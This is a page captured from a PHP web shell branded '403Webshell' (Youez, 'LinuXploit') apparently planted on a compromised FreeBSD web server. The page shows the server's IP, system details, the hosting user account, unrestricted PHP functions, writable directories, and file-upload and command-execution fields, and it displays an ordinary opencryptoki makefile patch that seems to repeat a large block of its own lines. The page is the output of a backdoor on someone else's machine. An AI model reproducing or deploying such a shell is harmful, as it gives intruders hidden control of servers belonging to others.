403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/opencryptoki/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/security/opencryptoki/files/patch-usr-sbin-pkcsslotd-pkcsslotd.mk
--- usr/sbin/pkcsslotd/pkcsslotd.mk.orig	2022-04-25 11:04:51 UTC
+++ usr/sbin/pkcsslotd/pkcsslotd.mk
@@ -5,7 +5,7 @@ noinst_HEADERS +=							\
 
 EXTRA_DIST += usr/sbin/pkcsslotd/opencryptoki.conf
 
-usr_sbin_pkcsslotd_pkcsslotd_LDFLAGS = -lpthread -lcrypto
+usr_sbin_pkcsslotd_pkcsslotd_LDFLAGS = -lpthread -lcrypto -lepoll-shim -L$(LOCALBASE)/lib
 if HAVE_LIBUDEV
 usr_sbin_pkcsslotd_pkcsslotd_LDFLAGS += -ludev
 endif
@@ -15,7 +15,39 @@ usr_sbin_pkcsslotd_pkcsslotd_CFLAGS = -DPROGRAM_NAME=\
 	-I${top_builddir}/usr/lib/common  			\
 	-I${top_builddir}/usr/lib/api				\
 	-I${srcdir}/usr/lib/config				\
-	-I${top_builddir}/usr/lib/config
+	-I${top_builddir}/usr/lib/config			\
+	-I$(LOCALBASE)/include/libepoll-shim
+
+usr_sbin_pkcsslotd_pkcsslotd_SOURCES =							\
+	usr/sbin/pkcsslotd/slotmgr.c usr/sbin/pkcsslotd/shmem.c				\
+	usr/sbin/pkcsslotd/signal.c usr/sbin/pkcsslotd/mutex.c usr/sbin/pkcsslotd/err.c	\
+	usr/sbin/pkcsslotd/log.c usr/sbin/pkcsslotd/daemon.c				\
+	usr/sbin/pkcsslotd/garbage_linux.c usr/sbin/pkcsslotd/pkcsslotd_util.c		\
+	usr/sbin/pkcsslotd/socket_server.c usr/lib/config/configuration.c		\
+	usr/lib/config/cfgparse.y usr/lib/config/cfglex.l
+
+nodist_usr_sbin_pkcsslotd_pkcsslotd_SOURCES = \
+	usr/lib/common/dlist.c
+usr/sbin/pkcsslotd/slotmgr.$(OBJEXT): usr/lib/config/cfgparse.h
+sbin_PROGRAMS += usr/sbin/pkcsslotd/pkcsslotd
+noinst_HEADERS +=							\
+	usr/sbin/pkcsslotd/err.h usr/sbin/pkcsslotd/garbage_linux.h	\
+	usr/sbin/pkcsslotd/log.h usr/sbin/pkcsslotd/pkcsslotd.h
+
+EXTRA_DIST += usr/sbin/pkcsslotd/opencryptoki.conf
+
+usr_sbin_pkcsslotd_pkcsslotd_LDFLAGS = -lpthread -lcrypto -lepoll-shim -L$(LOCALBASE)/lib
+if HAVE_LIBUDEV
+usr_sbin_pkcsslotd_pkcsslotd_LDFLAGS += -ludev
+endif
+
+usr_sbin_pkcsslotd_pkcsslotd_CFLAGS = -DPROGRAM_NAME=\"$(@)\"	\
+	-I${srcdir}/usr/include -I${srcdir}/usr/lib/common	\
+	-I${top_builddir}/usr/lib/common  			\
+	-I${top_builddir}/usr/lib/api				\
+	-I${srcdir}/usr/lib/config				\
+	-I${top_builddir}/usr/lib/config			\
+	-I$(LOCALBASE)/include/libepoll-shim
 
 usr_sbin_pkcsslotd_pkcsslotd_SOURCES =							\
 	usr/sbin/pkcsslotd/slotmgr.c usr/sbin/pkcsslotd/shmem.c				\

Youez - 2016 - github.com/yon3zu
LinuXploit